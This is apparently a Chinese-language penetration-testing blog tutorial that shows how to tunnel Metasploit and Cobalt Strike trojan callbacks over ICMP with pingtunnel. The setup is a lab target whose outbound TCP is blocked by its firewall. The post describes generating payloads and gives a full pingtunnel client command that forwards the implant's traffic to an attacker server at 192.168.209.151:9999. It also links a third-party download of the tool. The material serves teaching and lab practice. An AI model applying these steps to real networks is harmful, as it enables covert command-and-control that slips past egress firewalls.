【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS

前言

渗透测试中，如果攻击者使用各类上层隧道(例如：HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了，常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，本文主要讲解了【靶机能上TCP和不能上TCP的区别】【利用pingtunnel搭建ICMP隧道，实现靶机上线MSF/CS的过程】，以及它的原理解释，如果哪里说错了，还请师傅们指出，谢谢您。

靶机能上TCP

首先我们使用msfvenom生成widows木马设置好payload

开启监听

运行即可上线

正常情况下木马使用的是TCP协议，靶机能上网，那么靶机不能上网，阻止了防火墙出网呢？也不能走TCP访问攻击机器呢？这个时候MSF就不能通过TCP协议上线，下面将演示MSF通过ICMP协议上线靶机

阻止TCP连接环境搭建

检查网络通信，可以ping通百度

也可以正常访问百度

靶机启用防火墙

kali攻击机器ping（访问）靶机就不通了

靶机阻止防火墙所有出站TCP规则，也就是我们靶机访问不了外网，浏览器打不开百度了

设置为阻止

全部勾选

这个时候可以ping通百度，但是tcp无法访问（浏览器访问网站这个操作，就是走的TCP协议），而ping使用的是icmp协议，所以可以ping通百度，也可以ping（访问）通我们的攻击机

没上线成功的过程就不演示了，作用不大

注：木马走的都是tcp协议，此时我们禁用了TCP协议，msf就无法上线，该怎么绕过呢？

工具使用

这时候我们就需要一个工具

MSF隧道搭建工具pingtunnel

工具链接

链接：https://pan.baidu.com/s/1LsLiszJCdAoZs0I4PfXeWg?pwd=1212
提取码：1212

PingTunnel是一款常用的ICMP隧道工具，可以跨平台使用，为了避免隧道被滥用，还可以为隧道设置密码。pingtunnel工具是基于网络层面ICMP协议的内网穿透工具。

在本次教程中它的主要作用，如图

这张图主要介绍了两个部分

1、靶机使用容器，将tcp数据包打包为icmp数据包

2、msf接收的时候，将icmp数据包还原成tcp数据包

实现过程

下载好工具后把他移到kali中

kali启用PingTunnel服务器

此时kali生成的木马需要是127.0.0.1，端口为靶机监听的地址（原理待会解释）

PingTunnel把木马的TCP数据包封装为ICMP数据包，这时候就可以通过ICMP协议发送到攻击机服务器

工具使用教程如下

命令解释

pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1

运行

查看kali服务端，icmp协议已成功收到靶机的访问请求

MSF设置监听端口9999，本地地址为0.0.0.0全局地址

当PingTunnel服务器接收到靶机的ICMP数据包的时候，PingTunnel就会将ICMP数据包拆解为TCP数据包，这时候MSF就会接收到此”TCP请求“，即可成功利用icmp隧道成功上线MSF

执行命令

原理解释

再来看这张图

结合上面的结构图和这个案例即可得到原理，攻击机器生成木马，并传到靶机上，靶机运行木马在本地的8888端口，而PingTunnel在靶机上将这个端口的TCP流量打包，转发到攻击机刚刚开启的PingTunnel服务器，PingTunnel服务器接收到这个icmp请求之后，将这个ICMP包进行拆解转化为TCP协议，最后将这个TCP协议转发到攻击机器（kali）MSF监听的端口，此时就可以完成MSF上线

CS通过ICMP上线

CS也是一样的原理，主机cs生成木马，送到靶机，添加两个监听器，靶机自己监听地址

kali接受shell地址

如下

生成payload，选择靶机的监听地址

放入靶机

运行木马之后，再运行pingtunnel，转发到攻击机的服务器

pingtunnel -type client -l 127.0.0.1:8888 -s 192.168.209.151 -t 192.168.209.151:9999 -tcp 1

成功上线，如果没上线成功，这个红色的框一定要检查是否正确

whoami

总结

本文详细讲解了在内网渗透中，当常规的网络通信手段（如TCP协议）受阻时，如何利用ICMP隧道技术实现MSF和CS的上线。通过搭建PingTunnel服务器，将TCP数据包封装在ICMP数据包中，利用ICMP协议进行数据传输，从而绕过网络限制。文章还详细解释了ICMP隧道的工作原理，并通过实际案例展示了其应用过程。